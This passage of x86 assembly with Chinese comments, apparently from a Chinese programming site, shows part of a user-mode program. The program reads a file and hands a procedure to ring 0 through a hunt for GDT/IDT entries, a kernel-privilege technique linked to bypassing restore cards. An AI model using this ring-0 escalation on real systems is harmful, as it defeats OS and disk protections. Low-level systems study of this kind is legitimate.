jb @@1 ;if we haven’t found any free GDT entry,
;lets use the last two entries
mov eax,ebx
sub eax,7
@@3:
mov [esp+4*7],eax ; return off in eax
popad ; eax=free GDT or IDT entry selector
ret ;500
Search_XDT endp
main:
;建立文件
invoke CreateFileA,offset FileName,GENERIC_READ,FILE_SHARE_READ OR FILE_SHARE_WRITE,NULL,OPEN_EXISTING,NULL,NULL
mov [hFile],eax
cmp eax,INVALID_HANDLE_value
jnz read
;显示错误信息
invoke ShowError,offset ErrCreate
read: ;读数据
invoke ReadFile,eax,offset Buffer,512,offset readed1,NULL
cmp eax,0
jnz next
;显示错误信息
invoke ShowError,offset ErrRead
ShowError proc ,MESSAGE:DWORD ;显示出错信息并退出
invoke MessageBoxA,NULL,MESSAGE,offset Caption,MB_OK
cmp [hFile],0
jz endShowErr
invoke CloseHandle ,[hFile] ;关闭句柄
endShowErr:
invoke ExitProcess,0 ;退出
ShowError endp
next:
assume fs:nothing
push offset MySEH
push fs:[0]
mov fs:[0],esp
mov OldEsp,esp
mov ax,ds ;if Win9x?
test ax,4
jnz Exit1
invoke MessageBoxA,NULL,offset ShowText,offset Caption,MB_OK
invoke VirtualLock,offset _Ring0Proc,Ring0CodeLen
;invoke VirtualLock,offset r0Data,sizeof(RING0DATA)
invoke ExecRing0Proc,offset _Ring0Proc,Ring0CodeLen
;invoke VirtualUnlock,offset r0Data,sizeof(RING0DATA)
invoke VirtualUnlock,offset _Ring0Proc,Ring0CodeLen
Exit1:
pop fs:[0]
add esp,4
invoke ExitProcess,0
MySEH :
mov esp,OldEsp
pop fs:[0]
add esp,4
invoke ExitProcess,-1
end main
上一篇：一种可以穿透还原卡和还原软件的代码
下一篇：扩展int13h调用详解(修正) |
